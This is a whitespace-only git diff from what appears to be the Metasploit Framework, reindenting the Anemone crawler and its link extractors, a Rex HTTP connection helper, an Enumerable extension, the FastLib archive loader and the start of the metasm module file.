10 +- 886 files changed, 245072 insertions(+), 245072 deletions(-) diff --git a/lib/anemone/core.rb b/lib/anemone/core.rb index 2fa01df619956..72d80f11bfa68 100644 --- a/lib/anemone/core.rb +++ b/lib/anemone/core.rb @@ -298,10 +298,10 @@ def skip_link?(link) # # Kills all active threads # - def shutdown + def shutdown @tentacles.each {|t| t.kill rescue nil } @pages = nil - end + end end end diff --git a/lib/anemone/extractors/anchors.rb b/lib/anemone/extractors/anchors.rb index 7fc9f88061350..caeb668c36954 100644 --- a/lib/anemone/extractors/anchors.rb +++ b/lib/anemone/extractors/anchors.rb @@ -1,7 +1,7 @@ class Anemone::Extractors::Anchors < Anemone::Extractors::Base - def run - doc.search( '//a[@href]' ).map { |a| a['href'] } - end + def run + doc.search( '//a[@href]' ).map { |a| a['href'] } + end end diff --git a/lib/anemone/extractors/dirbuster.rb b/lib/anemone/extractors/dirbuster.rb index 8199bbfb196fd..7330615ef84cb 100644 --- a/lib/anemone/extractors/dirbuster.rb +++ b/lib/anemone/extractors/dirbuster.rb @@ -1,12 +1,12 @@ class Anemone::Extractors::Dirbuster < Anemone::Extractors::Base - def run - return [] if page.code.to_i != 200 + def run + return [] if page.code.to_i != 200 - @@dirs ||= nil + @@dirs ||= nil - return @@dirs if @@dirs - @@dirs = IO.read( File.dirname( __FILE__ ) + '/dirbuster/directories' ).split( "\n" ) - end - + return @@dirs if @@dirs + @@dirs = IO.read( File.dirname( __FILE__ ) + '/dirbuster/directories' ).split( "\n" ) + end + end diff --git a/lib/anemone/extractors/forms.rb b/lib/anemone/extractors/forms.rb index 33bd08d9af721..c15e61bb8e916 100644 --- a/lib/anemone/extractors/forms.rb +++ b/lib/anemone/extractors/forms.rb @@ -1,7 +1,7 @@ class Anemone::Extractors::Forms < Anemone::Extractors::Base - def run - doc.search( '//form[@action]' ).map { |a| a['action'] } - end - + def run + doc.search( '//form[@action]' ).map { |a| a['action'] } + end + end diff --git a/lib/anemone/extractors/frames.rb b/lib/anemone/extractors/frames.rb index 9038a1851c889..8f7ac2eeb8853 100644 --- a/lib/anemone/extractors/frames.rb +++ b/lib/anemone/extractors/frames.rb @@ -1,7 +1,7 @@ class Anemone::Extractors::Frames < Anemone::Extractors::Base - def run - doc.css( 'frame', 'iframe' ).map { |a| a.attributes['src'].content rescue next } - end + def run + doc.css( 'frame', 'iframe' ).map { |a| a.attributes['src'].content rescue next } + end end diff --git a/lib/anemone/extractors/generic.rb b/lib/anemone/extractors/generic.rb index 3b81c4442adab..3ef8e46dca5e6 100644 --- a/lib/anemone/extractors/generic.rb +++ b/lib/anemone/extractors/generic.rb @@ -2,49 +2,49 @@ class Anemone::Extractors::Generic < Anemone::Extractors::Base - def run - URI.extract( doc.to_s, %w(http https) ).map do |u| - # - # This extractor needs to be a tiny bit intelligent because - # due to its generic nature it'll inevitably match some garbage. - # - # For example, if some JS code contains: - # - # var = 'http://blah.com?id=1' - # - # or - # - # var = { 'http://blah.com?id=1', 1 } - # - # - # The URI.extract call will match: - # - # http://blah.com?id=1' - # - # and - # - # http://blah.com?id=1', - # - # respectively. - # - if !includes_quotes?( u ) - u - else - if html.include?( "'#{u}" ) - u.split( '\'' ).first - elsif html.include?( "\"#{u}" ) - u.split( '"' ).first - else - u - end - end - end - rescue - [] - end + def run + URI.extract( doc.to_s, %w(http https) ).map do |u| + # + # This extractor needs to be a tiny bit intelligent because + # due to its generic nature it'll inevitably match some garbage. + # + # For example, if some JS code contains: + # + # var = 'http://blah.com?id=1' + # + # or + # + # var = { 'http://blah.com?id=1', 1 } + # + # + # The URI.extract call will match: + # + # http://blah.com?id=1' + # + # and + # + # http://blah.com?id=1', + # + # respectively. + # + if !includes_quotes?( u ) + u + else + if html.include?( "'#{u}" ) + u.split( '\'' ).first + elsif html.include?( "\"#{u}" ) + u.split( '"' ).first + else + u + end + end + end + rescue + [] + end - def includes_quotes?( url ) - url.include?( '\'' ) || url.include?( '"' ) - end + def includes_quotes?( url ) + url.include?( '\'' ) || url.include?( '"' ) + end end diff --git a/lib/anemone/extractors/links.rb b/lib/anemone/extractors/links.rb index 33eaace54e47c..57d1ad88a1741 100644 --- a/lib/anemone/extractors/links.rb +++ b/lib/anemone/extractors/links.rb @@ -1,7 +1,7 @@ class Anemone::Extractors::Links < Anemone::Extractors::Base - def run - doc.search( "//link[@href]" ).map { |a| a['href'] } - end + def run + doc.search( "//link[@href]" ).map { |a| a['href'] } + end end diff --git a/lib/anemone/extractors/meta_refresh.rb b/lib/anemone/extractors/meta_refresh.rb index 61608b416ec90..cb0c3228b12d9 100644 --- a/lib/anemone/extractors/meta_refresh.rb +++ b/lib/anemone/extractors/meta_refresh.rb @@ -1,24 +1,24 @@ class Anemone::Extractors::MetaRefresh < Anemone::Extractors::Base - def run - doc.search( "//meta[@http-equiv='refresh']" ).map do |url| - begin - _, url = url['content'].split( ';', 2 ) - next if !url - unquote( url.split( '=', 2 ).last ) - rescue - next - end - end - rescue - nil - end + def run + doc.search( "//meta[@http-equiv='refresh']" ).map do |url| + begin + _, url = url['content'].split( ';', 2 ) + next if !url + unquote( url.split( '=', 2 ).last ) + rescue + next + end + end + rescue + nil + end - def unquote( str ) - [ '\'', '"' ].each do |q| - return str[1...-1] if str.start_with?( q ) && str.end_with?( q ) - end - str - end + def unquote( str ) + [ '\'', '"' ].each do |q| + return str[1...-1] if str.start_with?( q ) && str.end_with?( q ) + end + str + end end diff --git a/lib/anemone/extractors/scripts.rb b/lib/anemone/extractors/scripts.rb index 95d1ff8b9a03a..cc26f960f7d05 100644 --- a/lib/anemone/extractors/scripts.rb +++ b/lib/anemone/extractors/scripts.rb @@ -1,7 +1,7 @@ class Anemone::Extractors::Scripts < Anemone::Extractors::Base - def run - doc.search( '//script[@src]' ).map { |a| a['src'] } - end + def run + doc.search( '//script[@src]' ).map { |a| a['src'] } + end end diff --git a/lib/anemone/page.rb b/lib/anemone/page.rb index e409f281e3b03..cc0e8c9d0f6be 100644 --- a/lib/anemone/page.rb +++ b/lib/anemone/page.rb @@ -85,8 +85,8 @@ def self.extractors def run_extractors return [] if !doc self.class.extractors.map do |e| - next if e == Extractors::Dirbuster && !dirbust? - e.new( self ).run rescue next + next if e == Extractors::Dirbuster && !dirbust? + e.new( self ).run rescue next end.flatten. compact.map do |p| abs = to_absolute( URI( p ) ) rescue next @@ -186,7 +186,7 @@ def to_absolute(link) end def dirbust? - @dirbust + @dirbust end # @@ -240,7 +240,7 @@ def self.from_hash(hash) end def dup - Marshal.load( Marshal.dump( self ) ) + Marshal.load( Marshal.dump( self ) ) end end diff --git a/lib/anemone/rex_http.rb b/lib/anemone/rex_http.rb index 778981c909328..9c51ad4c8e193 100644 --- a/lib/anemone/rex_http.rb +++ b/lib/anemone/rex_http.rb @@ -51,7 +51,7 @@ def fetch_pages(url, referer = nil, depth = nil) ) # Store the associated raw HTTP request page.request = response.request - pages << page + pages << page end return pages @@ -162,11 +162,11 @@ def get_response(url, referer = nil) response = nil request = nil begin - conn = connection(url) - request = conn.request_raw(opts) - response = conn.send_recv(request, @opts[:timeout] || 10 ) - rescue ::Errno::EPIPE, ::Timeout::Error - end + conn = connection(url) + request = conn.request_raw(opts) + response = conn.send_recv(request, @opts[:timeout] || 10 ) + rescue ::Errno::EPIPE, ::Timeout::Error + end finish = Time.now() @@ -180,28 +180,28 @@ def get_response(url, referer = nil) end def connection(url) - context = { } - context['Msf'] = @opts[:framework] if @opts[:framework] - context['MsfExploit'] = @opts[:module] if @opts[:module] - - conn = Rex::Proto::Http::Client.new( - url.host, - url.port.to_i, - context, - url.scheme == "https", - 'SSLv23', - @opts[:proxies], + context = { } + context['Msf'] = @opts[:framework] if @opts[:framework] + context['MsfExploit'] = @opts[:module] if @opts[:module] + + conn = Rex::Proto::Http::Client.new( + url.host, + url.port.to_i, + context, + url.scheme == "https", + 'SSLv23', + @opts[:proxies], @opts[:username], @opts[:password] - ) + ) - conn.set_config( - 'vhost' => virtual_host(url), - 'agent' => user_agent, + conn.set_config( + 'vhost' => virtual_host(url), + 'agent' => user_agent, 'domain' => @opts[:domain] - ) + ) - conn + conn end def verbose? diff --git a/lib/enumerable.rb b/lib/enumerable.rb index d005c50fd51df..010afda5c5826 100644 --- a/lib/enumerable.rb +++ b/lib/enumerable.rb @@ -18,98 +18,98 @@ # module Enumerable - class << self - # Provides the cross-product of two or more Enumerables. - # This is the class-level method. The instance method - # calls on this. - # - # Enumerable.cart([1,2], [4], ["apple", "banana"]) - # #=> [[1, 4, "apple"], [1, 4, "banana"], [2, 4, "apple"], [2, 4, "banana"]] - # - # Enumerable.cart([1,2], [3,4]) - # #=> [[1, 3], [1, 4], [2, 3], [2, 4]] + class << self + # Provides the cross-product of two or more Enumerables. + # This is the class-level method. The instance method + # calls on this. + # + # Enumerable.cart([1,2], [4], ["apple", "banana"]) + # #=> [[1, 4, "apple"], [1, 4, "banana"], [2, 4, "apple"], [2, 4, "banana"]] + # + # Enumerable.cart([1,2], [3,4]) + # #=> [[1, 3], [1, 4], [2, 3], [2, 4]] - def cartesian_product(*enums, &block) - result = [[]] - while [] != enums - t, result = result, [] - b, *enums = enums - t.each do |a| - b.each do |n| - result << a + [n] - end - end - end - if block_given? - result.each{ |e| block.call(e) } - else - result - end - end + def cartesian_product(*enums, &block) + result = [[]] + while [] != enums + t, result = result, [] + b, *enums = enums + t.each do |a| + b.each do |n| + result << a + [n] + end + end + end + if block_given? + result.each{ |e| block.call(e) } + else + result + end + end - alias_method :cart, :cartesian_product - end + alias_method :cart, :cartesian_product + end - # The instance level version of Enumerable::cartesian_product. - # - # a = [] - # [1,2].cart([4,5]){|elem| a << elem } - # a #=> [[1, 4],[1, 5],[2, 4],[2, 5]] + # The instance level version of Enumerable::cartesian_product. + # + # a = [] + # [1,2].cart([4,5]){|elem| a << elem } + # a #=> [[1, 4],[1, 5],[2, 4],[2, 5]] - def cartesian_product(*enums, &block) - Enumerable.cartesian_product(self, *enums, &block) - end + def cartesian_product(*enums, &block) + Enumerable.cartesian_product(self, *enums, &block) + end - alias :cart :cartesian_product + alias :cart :cartesian_product - # Operator alias for cross-product. - # - # a = [1,2] ** [4,5] - # a #=> [[1, 4],[1, 5],[2, 4],[2, 5]] - # - def **(enum) - Enumerable.cartesian_product(self, enum) - end + # Operator alias for cross-product. + # + # a = [1,2] ** [4,5] + # a #=> [[1, 4],[1, 5],[2, 4],[2, 5]] + # + def **(enum) + Enumerable.cartesian_product(self, enum) + end - # Expected to be an enumeration of arrays. This method - # iterates through combinations of each in position. - # - # a = [ [0,1], [2,3] ] - # a.each_combo { |c| p c } - # - # produces - # - # [0, 2] - # [0, 3] - # [1, 2] - # [1, 3] - # - def each_combo - a = collect{ |x| - x.respond_to?(:to_a) ? x.to_a : 0..x - } + # Expected to be an enumeration of arrays. This method + # iterates through combinations of each in position. + # + # a = [ [0,1], [2,3] ] + # a.each_combo { |c| p c } + # + # produces + # + # [0, 2] + # [0, 3] + # [1, 2] + # [1, 3] + # + def each_combo + a = collect{ |x| + x.respond_to?(:to_a) ? x.to_a : 0..x + } - if a.size == 1 - r = a.shift - r.each{ |n| - yield n - } - else - r = a.shift - r.each{ |n| - a.each_combo{ |s| - yield [n, *s] - } - } - end - end + if a.size == 1 + r = a.shift + r.each{ |n| + yield n + } + else + r = a.shift + r.each{ |n| + a.each_combo{ |s| + yield [n, *s] + } + } + end + end - # As with each_combo but returns combos collected in an array. - # - def combos - a = [] - each_combo{ |c| a << c } - a - end + # As with each_combo but returns combos collected in an array. + # + def combos + a = [] + each_combo{ |c| a << c } + a + end end diff --git a/lib/fastlib.rb b/lib/fastlib.rb index c3d9d2f8c1e5e..efbff68c296a4 100755 --- a/lib/fastlib.rb +++ b/lib/fastlib.rb @@ -38,248 +38,248 @@ # class FastLib - VERSION = "0.0.8" - - FLAG_COMPRESS = 0x01 - FLAG_ENCRYPT = 0x02 - - @@cache = {} - @@has_zlib = false - - # - # Load zlib support if possible - # - begin - require 'zlib' - @@has_zlib = true - rescue ::LoadError - end - - # - # This method returns the version of the fastlib library - # - def self.version - VERSION - end - - # - # This method loads content from a specific archive file by name. If the - # noprocess argument is set to true, the contents will not be expanded to - # include workarounds for things such as __FILE__. This is useful when - # loading raw binary data where these strings may occur - # - def self.load(lib, name, noprocess=false) - data = "" - load_cache(lib) - - return unless ( @@cache[lib] and @@cache[lib][name] ) - - - ::File.open(lib, "rb") do |fd| - fd.seek( - @@cache[lib][:fastlib_header][0] + - @@cache[lib][:fastlib_header][1] + - @@cache[lib][name][0] - ) - data = fastlib_filter_decode( lib, fd.read(@@cache[lib][name][1] )) - end - - # Return the contents in raw or processed form - noprocess ? data : post_process(lib, name, data) - end - - # - # This method caches the file list and offsets within the archive - # - def self.load_cache(lib) - return if @@cache[lib] - @@cache[lib] = {} - - return if not ::File.exists?(lib) - - ::File.open(lib, 'rb') do |fd| - dict = {} - head = fd.read(4) - return if head != "FAST" - hlen = fd.read(4).unpack("N")[0] - flag = fd.read(4).unpack("N")[0] - - @@cache[lib][:fastlib_header] = [12, hlen, fd.stat.mtime.utc.to_i ] - @@cache[lib][:fastlib_flags] = flag - - nlen, doff, dlen, tims = fd.read(16).unpack("N*") - - while nlen > 0 - name = fastlib_filter_decode( lib, fd.read(nlen) ) - dict[name] = [doff, dlen, tims] - - nlen, doff, dlen, tims = fd.read(16).unpack("N*") - end - - @@cache[lib].merge!(dict) - end - - end - - # - # This method provides compression and encryption capabilities - # for the fastlib archive format. - # - def self.fastlib_filter_decode(lib, buff) - - if (@@cache[lib][:fastlib_flags] & FLAG_ENCRYPT) != 0 - - @@cache[lib][:fastlib_decrypt] ||= ::Proc.new do |data| - stub = "decrypt_%.8x" % ( @@cache[lib][:fastlib_flags] & 0xfffffff0 ) - FastLib.send(stub, data) - end - - buff = @@cache[lib][:fastlib_decrypt].call( buff ) - end - - if (@@cache[lib][:fastlib_flags] & FLAG_COMPRESS) != 0 - if not @@has_zlib - raise ::RuntimeError, "zlib is required to open this archive" - end - - z = Zlib::Inflate.new - buff = z.inflate(buff) - buff << z.finish - z.close - end - - buff - end - - # - # This method provides compression and encryption capabilities - # for the fastlib archive format. - # - def self.fastlib_filter_encode(lib, buff) - - if (@@cache[lib][:fastlib_flags] & FLAG_COMPRESS) != 0 - if not @@has_zlib - raise ::RuntimeError, "zlib is required to open this archive" - end - - z = Zlib::Deflate.new - buff = z.deflate(buff) - buff << z.finish - z.close - end - - if (@@cache[lib][:fastlib_flags] & FLAG_ENCRYPT) != 0 - - @@cache[lib][:fastlib_encrypt] ||= ::Proc.new do |data| - stub = "encrypt_%.8x" % ( @@cache[lib][:fastlib_flags] & 0xfffffff0 ) - FastLib.send(stub, data) - end - - buff = @@cache[lib][:fastlib_encrypt].call( buff ) - end - - buff - end - - - # This method provides a way to create a FASTLIB archive programatically. - # - # @param [String] lib the output path for the archive - # @param [String] flag a string containing the hex values for the - # flags ({FLAG_COMPRESS} and {FLAG_ENCRYPT}). - # @param [String] bdir the path to the base directory which will be - # stripped from all paths included in the archive - # @param [Array] dirs list of directories/files to pack into - # the archive. All dirs should be under bdir so that the paths are - # stripped correctly. - # @return [void] - def self.dump(lib, flag, bdir, *dirs) - head = "" - data = "" - hidx = 0 - didx = 0 - - bdir = bdir.gsub(/\/$/, '') - brex = /^#{Regexp.escape(bdir)}\// - - @@cache[lib] = { - :fastlib_flags => flag.to_i(16) - } - - dirs.each do |dir| - ::Find.find(dir) do |path| - next if not ::File.file?(path) - name = fastlib_filter_encode( lib, path.sub( brex, "" ) ) - - buff = "" - ::File.open(path, "rb") do |fd| - buff = fastlib_filter_encode(lib, fd.read(fd.stat.size)) - end - - - head << [ name.length, didx, buff.length, ::File.stat(path).mtime.utc.to_i ].pack("NNNN") - head << name - hidx = hidx + 16 + name.length - - data << buff - didx = didx + buff.length - end - end - - head << [0,0,0].pack("NNN") - - ::File.open(lib, "wb") do |fd| - fd.write("FAST") - fd.write( [ head.length, flag.to_i(16) ].pack("NN") ) - fd.write( head ) - fd.write( data ) - end - end - - # - # This archive provides a way to list the contents of an archive - # file, returning the names only in sorted order. - # - def self.list(lib) - load_cache(lib) - ( @@cache[lib] || {} ).keys.map{|x| x.to_s }.sort.select{ |x| @@cache[lib][x] } - end - - # - # This method is called on the loaded is required to expand __FILE__ - # and other inline dynamic constants to map to the correct location. - # - def self.post_process(lib, name, data) - data.gsub('__FILE__', "'#{ ::File.expand_path(::File.join(::File.dirname(lib), name)) }'") - end - - # - # This is a stub crypto handler that performs a basic XOR - # operation against a fixed one byte key. The two usable IDs - # are 12345600 and 00000000 - # - def self.encrypt_12345600(data) - encrypt_00000000(data) - end - - def self.decrypt_12345600(data) - encrypt_00000000(data) - end - - def self.encrypt_00000000(data) - data.unpack("C*").map{ |c| c ^ 0x90 }.pack("C*") - end - - def self.decrypt_00000000(data) - encrypt_00000000(data) - end - - # - # Expose the cache to callers - # - def self.cache - @@cache - end + VERSION = "0.0.8" + + FLAG_COMPRESS = 0x01 + FLAG_ENCRYPT = 0x02 + + @@cache = {} + @@has_zlib = false + + # + # Load zlib support if possible + # + begin + require 'zlib' + @@has_zlib = true + rescue ::LoadError + end + + # + # This method returns the version of the fastlib library + # + def self.version + VERSION + end + + # + # This method loads content from a specific archive file by name. If the + # noprocess argument is set to true, the contents will not be expanded to + # include workarounds for things such as __FILE__. This is useful when + # loading raw binary data where these strings may occur + # + def self.load(lib, name, noprocess=false) + data = "" + load_cache(lib) + + return unless ( @@cache[lib] and @@cache[lib][name] ) + + + ::File.open(lib, "rb") do |fd| + fd.seek( + @@cache[lib][:fastlib_header][0] + + @@cache[lib][:fastlib_header][1] + + @@cache[lib][name][0] + ) + data = fastlib_filter_decode( lib, fd.read(@@cache[lib][name][1] )) + end + + # Return the contents in raw or processed form + noprocess ? data : post_process(lib, name, data) + end + + # + # This method caches the file list and offsets within the archive + # + def self.load_cache(lib) + return if @@cache[lib] + @@cache[lib] = {} + + return if not ::File.exists?(lib) + + ::File.open(lib, 'rb') do |fd| + dict = {} + head = fd.read(4) + return if head != "FAST" + hlen = fd.read(4).unpack("N")[0] + flag = fd.read(4).unpack("N")[0] + + @@cache[lib][:fastlib_header] = [12, hlen, fd.stat.mtime.utc.to_i ] + @@cache[lib][:fastlib_flags] = flag + + nlen, doff, dlen, tims = fd.read(16).unpack("N*") + + while nlen > 0 + name = fastlib_filter_decode( lib, fd.read(nlen) ) + dict[name] = [doff, dlen, tims] + + nlen, doff, dlen, tims = fd.read(16).unpack("N*") + end + + @@cache[lib].merge!(dict) + end + + end + + # + # This method provides compression and encryption capabilities + # for the fastlib archive format. + # + def self.fastlib_filter_decode(lib, buff) + + if (@@cache[lib][:fastlib_flags] & FLAG_ENCRYPT) != 0 + + @@cache[lib][:fastlib_decrypt] ||= ::Proc.new do |data| + stub = "decrypt_%.8x" % ( @@cache[lib][:fastlib_flags] & 0xfffffff0 ) + FastLib.send(stub, data) + end + + buff = @@cache[lib][:fastlib_decrypt].call( buff ) + end + + if (@@cache[lib][:fastlib_flags] & FLAG_COMPRESS) != 0 + if not @@has_zlib + raise ::RuntimeError, "zlib is required to open this archive" + end + + z = Zlib::Inflate.new + buff = z.inflate(buff) + buff << z.finish + z.close + end + + buff + end + + # + # This method provides compression and encryption capabilities + # for the fastlib archive format. + # + def self.fastlib_filter_encode(lib, buff) + + if (@@cache[lib][:fastlib_flags] & FLAG_COMPRESS) != 0 + if not @@has_zlib + raise ::RuntimeError, "zlib is required to open this archive" + end + + z = Zlib::Deflate.new + buff = z.deflate(buff) + buff << z.finish + z.close + end + + if (@@cache[lib][:fastlib_flags] & FLAG_ENCRYPT) != 0 + + @@cache[lib][:fastlib_encrypt] ||= ::Proc.new do |data| + stub = "encrypt_%.8x" % ( @@cache[lib][:fastlib_flags] & 0xfffffff0 ) + FastLib.send(stub, data) + end + + buff = @@cache[lib][:fastlib_encrypt].call( buff ) + end + + buff + end + + + # This method provides a way to create a FASTLIB archive programatically. + # + # @param [String] lib the output path for the archive + # @param [String] flag a string containing the hex values for the + # flags ({FLAG_COMPRESS} and {FLAG_ENCRYPT}). + # @param [String] bdir the path to the base directory which will be + # stripped from all paths included in the archive + # @param [Array] dirs list of directories/files to pack into + # the archive. All dirs should be under bdir so that the paths are + # stripped correctly. + # @return [void] + def self.dump(lib, flag, bdir, *dirs) + head = "" + data = "" + hidx = 0 + didx = 0 + + bdir = bdir.gsub(/\/$/, '') + brex = /^#{Regexp.escape(bdir)}\// + + @@cache[lib] = { + :fastlib_flags => flag.to_i(16) + } + + dirs.each do |dir| + ::Find.find(dir) do |path| + next if not ::File.file?(path) + name = fastlib_filter_encode( lib, path.sub( brex, "" ) ) + + buff = "" + ::File.open(path, "rb") do |fd| + buff = fastlib_filter_encode(lib, fd.read(fd.stat.size)) + end + + + head << [ name.length, didx, buff.length, ::File.stat(path).mtime.utc.to_i ].pack("NNNN") + head << name + hidx = hidx + 16 + name.length + + data << buff + didx = didx + buff.length + end + end + + head << [0,0,0].pack("NNN") + + ::File.open(lib, "wb") do |fd| + fd.write("FAST") + fd.write( [ head.length, flag.to_i(16) ].pack("NN") ) + fd.write( head ) + fd.write( data ) + end + end + + # + # This archive provides a way to list the contents of an archive + # file, returning the names only in sorted order. + # + def self.list(lib) + load_cache(lib) + ( @@cache[lib] || {} ).keys.map{|x| x.to_s }.sort.select{ |x| @@cache[lib][x] } + end + + # + # This method is called on the loaded is required to expand __FILE__ + # and other inline dynamic constants to map to the correct location. + # + def self.post_process(lib, name, data) + data.gsub('__FILE__', "'#{ ::File.expand_path(::File.join(::File.dirname(lib), name)) }'") + end + + # + # This is a stub crypto handler that performs a basic XOR + # operation against a fixed one byte key. The two usable IDs + # are 12345600 and 00000000 + # + def self.encrypt_12345600(data) + encrypt_00000000(data) + end + + def self.decrypt_12345600(data) + encrypt_00000000(data) + end + + def self.encrypt_00000000(data) + data.unpack("C*").map{ |c| c ^ 0x90 }.pack("C*") + end + + def self.decrypt_00000000(data) + encrypt_00000000(data) + end + + # + # Expose the cache to callers + # + def self.cache + @@cache + end end @@ -288,44 +288,44 @@ def self.cache # FASTLIB archives # if __FILE__ == $0 - cmd = ARGV.shift - unless ["store", "list", "version"].include?(cmd) - $stderr.puts "Usage: #{$0} [dump|list|version] " - exit(0) - end - - case cmd - when "store" - dst = ARGV.shift - flg = ARGV.shift - dir = ARGV.shift - src = ARGV - unless dst and dir and src.length > 0 - $stderr.puts "Usage: #{$0} store destination.fastlib flags base_dir src1 src2 ... src99" - exit(0) - end - FastLib.dump(dst, flg, dir, *src) - - when "list" - src = ARGV.shift - unless src - $stderr.puts "Usage: #{$0} list" - exit(0) - end - $stdout.puts "Library: #{src}" - $stdout.puts "=====================================================" - FastLib.list(src).each do |name| - fsize = FastLib.cache[src][name][1] - ftime = ::Time.at(FastLib.cache[src][name][2]).strftime("%Y-%m-%d %H:%M:%S") - $stdout.puts sprintf("%9d\t%20s\t%s\n", fsize, ftime, name) - end - $stdout.puts "" - - when "version" - $stdout.puts "FastLib Version #{FastLib.version}" - end - - exit(0) + cmd = ARGV.shift + unless ["store", "list", "version"].include?(cmd) + $stderr.puts "Usage: #{$0} [dump|list|version] " + exit(0) + end + + case cmd + when "store" + dst = ARGV.shift + flg = ARGV.shift + dir = ARGV.shift + src = ARGV + unless dst and dir and src.length > 0 + $stderr.puts "Usage: #{$0} store destination.fastlib flags base_dir src1 src2 ... src99" + exit(0) + end + FastLib.dump(dst, flg, dir, *src) + + when "list" + src = ARGV.shift + unless src + $stderr.puts "Usage: #{$0} list" + exit(0) + end + $stdout.puts "Library: #{src}" + $stdout.puts "=====================================================" + FastLib.list(src).each do |name| + fsize = FastLib.cache[src][name][1] + ftime = ::Time.at(FastLib.cache[src][name][2]).strftime("%Y-%m-%d %H:%M:%S") + $stdout.puts sprintf("%9d\t%20s\t%s\n", fsize, ftime, name) + end + $stdout.puts "" + + when "version" + $stdout.puts "FastLib Version #{FastLib.version}" + end + + exit(0) end # @@ -333,95 +333,95 @@ def self.cache # =begin - * All integers are 32-bit and in network byte order (big endian / BE) - * The file signature is 0x46415354 (big endian, use htonl() if necessary) - * The header is always 12 bytes into the archive (magic + header length) - * The data section is always 12 + header length into the archive - * The header entries always start with 'fastlib_header' - * The header entries always consist of 16 bytes + name length (no alignment) - * The header name data may be encoded, compressed, or transformed - * The data entries may be encoded, compressed, or transformed too - - - 4 bytes: "FAST" - 4 bytes: NBO header length - 4 bytes: NBO flags (24-bit crypto ID, 8 bit modes) - [ - 4 bytes: name length (0 = End of Names) - 4 bytes: data offset - 4 bytes: data length - 4 bytes: timestamp - ] - [ Raw Data ] + * All integers are 32-bit and in network byte order (big endian / BE) + * The file signature is 0x46415354 (big endian, use htonl() if necessary) + * The header is always 12 bytes into the archive (magic + header length) + * The data section is always 12 + header length into the archive + * The header entries always start with 'fastlib_header' + * The header entries always consist of 16 bytes + name length (no alignment) + * The header name data may be encoded, compressed, or transformed + * The data entries may be encoded, compressed, or transformed too + + + 4 bytes: "FAST" + 4 bytes: NBO header length + 4 bytes: NBO flags (24-bit crypto ID, 8 bit modes) + [ + 4 bytes: name length (0 = End of Names) + 4 bytes: data offset + 4 bytes: data length + 4 bytes: timestamp + ] + [ Raw Data ] =end module Kernel #:nodoc:all - alias :fastlib_original_require :require - - # - # Store the CWD when were initially loaded - # required for resolving relative paths - # - @@fastlib_base_cwd = ::Dir.pwd - - # - # This method hooks the original Kernel.require to support - # loading files within FASTLIB archives - # - def require(name) - fastlib_require(name) || fastlib_original_require(name) - end - - # - # This method handles the loading of FASTLIB archives - # - def fastlib_require(name) - name = name + ".rb" if not name =~ /\.rb$/ - return false if fastlib_already_loaded?(name) - return false if fastlib_already_tried?(name) - - # XXX Implement relative search paths within archives - $:.map{ |path| - (path =~ /^([A-Za-z]\:|\/)/ ) ? path : ::File.expand_path( ::File.join(@@fastlib_base_cwd, path) ) - }.map{ |path| ::Dir["#{path}/*.fastlib"] }.flatten.uniq.each do |lib| - data = FastLib.load(lib, name) - next if not data - $" << name - - Object.class_eval(data, lib + "::" + name) - - return true - end - - $fastlib_miss << name - - false - end - - # - # This method determines whether the specific file name - # has already been loaded ($LOADED_FEATURES aka $") - # - def fastlib_already_loaded?(name) - re = Regexp.new("^" + Regexp.escape(name) + "$") - $".detect { |e| e =~ re } != nil - end - - # - # This method determines whether the specific file name - # has already been attempted with the included FASTLIB - # archives. - # - # TODO: Ensure that this only applies to known FASTLIB - # archives and that newly included archives will - # be searched appropriately. - # - def fastlib_already_tried?(name) - $fastlib_miss ||= [] - $fastlib_miss.include?(name) - end + alias :fastlib_original_require :require + + # + # Store the CWD when were initially loaded + # required for resolving relative paths + # + @@fastlib_base_cwd = ::Dir.pwd + + # + # This method hooks the original Kernel.require to support + # loading files within FASTLIB archives + # + def require(name) + fastlib_require(name) || fastlib_original_require(name) + end + + # + # This method handles the loading of FASTLIB archives + # + def fastlib_require(name) + name = name + ".rb" if not name =~ /\.rb$/ + return false if fastlib_already_loaded?(name) + return false if fastlib_already_tried?(name) + + # XXX Implement relative search paths within archives + $:.map{ |path| + (path =~ /^([A-Za-z]\:|\/)/ ) ? path : ::File.expand_path( ::File.join(@@fastlib_base_cwd, path) ) + }.map{ |path| ::Dir["#{path}/*.fastlib"] }.flatten.uniq.each do |lib| + data = FastLib.load(lib, name) + next if not data + $" << name + + Object.class_eval(data, lib + "::" + name) + + return true + end + + $fastlib_miss << name + + false + end + + # + # This method determines whether the specific file name + # has already been loaded ($LOADED_FEATURES aka $") + # + def fastlib_already_loaded?(name) + re = Regexp.new("^" + Regexp.escape(name) + "$") + $".detect { |e| e =~ re } != nil + end + + # + # This method determines whether the specific file name + # has already been attempted with the included FASTLIB + # archives. + # + # TODO: Ensure that this only applies to known FASTLIB + # archives and that newly included archives will + # be searched appropriately. + # + def fastlib_already_tried?(name) + $fastlib_miss ||= [] + $fastlib_miss.include?(name) + end end diff --git a/lib/metasm/metasm.rb b/lib/metasm/metasm.rb index 8e2d7a5ed818a..122c87b62c2c2 100644 --- a/lib/metasm/metasm.rb +++ b/lib/metasm/metasm.rb @@ -5,76 +5,76 @@ module Metasm - # root directory for metasm files - # used by some scripts, eg to find samples/dasm-plugin directory - Metasmdir = File.dirname(__FILE__) - # add it to the ruby library path - $: << Metasmdir + # root directory for metasm files + # used by some scripts, eg to find samples/dasm-plugin directory + Metasmdir = File.dirname(__FILE__) + # add it to the ruby library path + $: << Metasmdir - # constants defined in the same file as another - Const_autorequire_equiv = { - 'X86' => 'Ia32', 'PPC' => 'PowerPC', - 'X64' => 'X86_64', 'AMD64' => 'X86_64', - 'UniversalBinary' => 'MachO', 'COFFArchive' => 'COFF', - 'DEY' => 'DEX', - 'PTrace' => 'LinOS', 'FatELF' => 'ELF', - 'LoadedELF' => 'ELF', 'LoadedPE' => 'PE', - 'LoadedAutoExe' => 'AutoExe', - 'LinuxRemoteString' => 'LinOS', - 'LinDebugger' => 'LinOS', - 'WinAPI' => 'WinOS', - 'WindowsRemoteString' => 'WinOS', 'WinDbgAPI' => 'WinOS', - 'WinDebugger' => 'WinOS', - 'GdbRemoteString' => 'GdbClient', 'GdbRemoteDebugger' => 'GdbClient', - 'DecodedInstruction' => 'Disassembler', 'DecodedFunction' => 'Disassembler', - 'InstructionBlock' => 'Disassembler', - } + # constants defined in the same file as another + Const_autorequire_equiv = { + 'X86' => 'Ia32', 'PPC' => 'PowerPC', + 'X64' => 'X86_64', 'AMD64' => 'X86_64', + 'UniversalBinary' => 'MachO', 'COFFArchive' => 'COFF', + 'DEY' => 'DEX', + 'PTrace' => 'LinOS', 'FatELF' => 'ELF', + 'LoadedELF' => 'ELF', 'LoadedPE' => 'PE', + 'LoadedAutoExe' => 